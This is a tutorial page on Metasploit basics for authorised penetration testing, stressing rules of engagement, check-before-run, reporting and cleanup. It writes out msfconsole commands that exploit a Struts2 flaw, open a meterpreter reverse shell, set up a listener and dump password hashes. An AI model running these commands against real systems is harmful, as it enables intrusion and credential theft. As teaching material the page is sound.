iwantcoding.com
🔥 Daily 👥 Rooms 🏆 Top Log in Sign up

Metasploit Basics

By · Reviewed & last updated · Part of Ethical Hacking Tutorial

Metasploit is the de facto exploitation framework: thousands of modules for known CVEs, payload generators, post-exploitation tools, a database of session state. In authorised engagements, use it to confirm a vulnerability is real, not to chain exploits beyond scope. RoE-first; minimum proof; clean cleanup.

Authorised Metasploit workflow + msfconsole basics

EXAMPLE
# ===== 1) Rules of engagement (excerpt) =====
# Targets:    only the systems explicitly listed and signed off
# Off-limits: anything not in the RoE; pivot beyond the target host
# Window:     2026-06-18 09:00 - 17:00 AEST
# Goal:       confirm finding from an earlier scan; demonstrate impact; STOP
# Stop:       monitoring page, 5xx burst > 30s, RoE end time

# ===== 2) Install + setup =====
# Kali / ParrotOS ships it. Otherwise:
# https://docs.metasploit.com/docs/using-metasploit/getting-started/
# Init the database (Postgres):
sudo msfdb init

# Launch
msfconsole -q

# ===== 3) Basics =====
msf6 > workspace -a engagement-2026-06-18    # isolate findings per engagement
msf6 > db_status                              # confirm DB is connected
msf6 > help                                   # built-in help
msf6 > search type:exploit name:smb           # find modules
msf6 > info exploit/windows/smb/ms17_010_eternalblue

# ===== 4) Recon — import an Nmap scan =====
nmap -sV -oX scan.xml target.lab.example.test
msf6 > db_import scan.xml
msf6 > services                                # query imported services
msf6 > hosts                                   # query imported hosts

# ===== 5) Use a module — exploit selection =====
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 10.0.0.0/24
msf6 auxiliary(smb_version) > run

# Choose an exploit + payload
msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(...) > set RHOSTS target.lab.example.test
msf6 exploit(...) > set RPORT 8080
msf6 exploit(...) > set TARGETURI /api/upload
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 10.99.99.10     # YOUR listener IP
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > check                      # verify vulnerability without running
msf6 exploit(...) > run                        # actually exploit

# 'check' is the SAFEST first action: confirms the bug exists without writing
# anything destructive. Many modules support it; prefer it for proof-only work.

# ===== 6) Post-exploitation (only within scope) =====
# Once a meterpreter session opens:
meterpreter > sysinfo                          # confirm host
meterpreter > getuid                            # current privileges
meterpreter > hashdump                          # ONLY if RoE allows credential capture
meterpreter > screenshot                        # rare; usually NOT needed for proof

# Most engagements: confirm code execution + capture proof (sysinfo + getuid)
# and STOP. Pivoting requires explicit RoE permission for each next target.

# ===== 7) Resource scripts — automation =====
# engagement.rc
# workspace -a engagement-2026-06-18
# db_import scan.xml
# use auxiliary/scanner/smb/smb_version
# set RHOSTS 10.0.0.0/24
# run
# Run: msfconsole -r engagement.rc

# ===== 8) Listener (handler) =====
# Standalone listener so you can re-run staged payloads
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.99.99.10
msf6 > set LPORT 4444
msf6 > set ExitOnSession false
msf6 > run -j

# ===== 9) Reporting =====
cat <<'EOF'
## Finding: RCE via vulnerable Struts2 endpoint
Severity: Critical (unauthenticated RCE)
Scope:    target.lab.example.test:8080/api/upload
Module:   exploit/multi/http/struts2_content_type_ognl
Evidence: meterpreter session id 1, sysinfo + getuid output captured (attached)
Fix:
  - Upgrade Struts to a patched version
  - Set parser content-type validation in the framework config
  - Add WAF rule for the published exploit signature
Defence-in-depth:
  - Least-privileged service account
  - Outbound egress restricted (RCE cannot phone home)
EOF

# ===== 10) Cleanup after the engagement =====
# - msf6 > sessions -K        # kill all sessions
# - delete any uploaded artefacts (some modules drop files)
# - msf6 > db_disconnect
# - encrypt + share the workspace archive only via the client's secure channel
# - delete local copies of captured data after report finalised
# - never reuse captured credentials for any non-engagement purpose

# ===== 11) Pitfalls / safety =====
# - Running 'run' before 'check' on a fragile production target
# - Forgetting to set LHOST -> session fails silently
# - Forgetting to set ExitOnSession false on a long-running handler
# - Importing scans from non-scoped hosts (verify RHOSTS regex carefully)
# - Pivoting beyond agreed scope (each pivot needs RoE coverage)
# - Capturing real customer data 'for proof' (use synthetic data or stop at code-exec proof)

Why it matters

`check` before `run` is the discipline that separates authorised testing from reckless exploitation. Most Metasploit modules can verify the bug without writing a payload — proof-only confirmation. Capture sysinfo + getuid, document, stop. The credibility of the engagement comes from the minimum effective proof, not from how deep you pivoted.

Tip: Tweak the snippet with Try it Yourself », then sit the quiz at the bottom of the page.

Example

Example
# Metasploit is a pentest framework. Use ONLY on authorised targets.
# msfconsole
#   use auxiliary/scanner/portscan/tcp
#   set RHOSTS 10.0.0.5
#   run
# Most engagements use it for proven public exploits + listeners, not 0-days.
Try it Yourself »

Discussion

Loading…